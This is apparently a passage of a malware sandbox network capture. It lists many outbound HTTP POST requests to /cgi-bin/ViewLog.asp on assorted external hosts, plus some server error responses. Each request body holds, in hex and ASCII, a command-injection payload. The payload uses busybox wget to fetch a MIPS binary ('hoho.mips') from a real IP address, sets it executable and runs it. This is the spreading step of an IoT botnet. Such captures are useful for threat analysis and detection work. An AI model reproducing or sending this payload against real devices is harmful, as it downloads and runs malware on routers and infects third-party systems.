                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                592192.168.2.154665062.87.204.598080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.782428980 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                593192.168.2.155008862.29.101.1258080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.791043043 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                594192.168.2.154730095.125.185.1288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.846019983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                595192.168.2.153986094.130.15.2368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.874586105 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:34.061186075 CET552INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:22:33 GMT
                                                Server: Apache/2.4.54 (Debian)
                                                Content-Length: 304
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 34 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.54 (Debian) Server at 192.168.0.14 Port 80</address></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                596192.168.2.154842295.209.136.2028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.944628000 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                597192.168.2.153405294.122.18.1508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:34.254127026 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                598192.168.2.155061285.209.137.1068080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:34.700690985 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:34.918723106 CET1340INHTTP/1.0 400 Bad Request
                                                Server: squid/3.1.23
                                                Mime-Version: 1.0
                                                Date: Thu, 23 Nov 2023 03:58:46 GMT
                                                Content-Type: text/html
                                                Content-Length: 3167
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                Connection: close
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License*//* Page basics */* {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/* initial title */#titles h1 {color: #000000;}#titles h2 {color: #000000;}/* special event: FTP success page titles */#titles ftpsuccess {background-color:#00ff00;width:100%;}/* Page displayed body content area */#content {padding: 10px;background: #ffffff


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                599192.168.2.153822085.239.243.1878080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:34.769762039 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:34.891773939 CET261INHTTP/1.1 404 Not Found
                                                Content-Type: text/plain; charset=utf-8
                                                X-Content-Type-Options: nosniff
                                                Date: Thu, 23 Nov 2023 04:22:34 GMT
                                                Content-Length: 19
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                600192.168.2.155425831.33.10.1778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:34.822799921 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                601192.168.2.154403694.26.10.1068080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:34.863058090 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                602192.168.2.155412694.120.224.1418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:34.867784023 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                603192.168.2.153958031.136.192.738080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:35.836483955 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:39.032677889 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.176532030 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.208163977 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                604192.168.2.1534620157.52.219.21023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:35.836636066 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 32 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:28Auth Result: Invalid user.
                                                Nov 23, 2023 05:22:36.269917011 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 32 20 32 30 3a 32 30 3a 32 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-22 20:20:28Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                605192.168.2.155717262.146.236.2508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:35.963402033 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
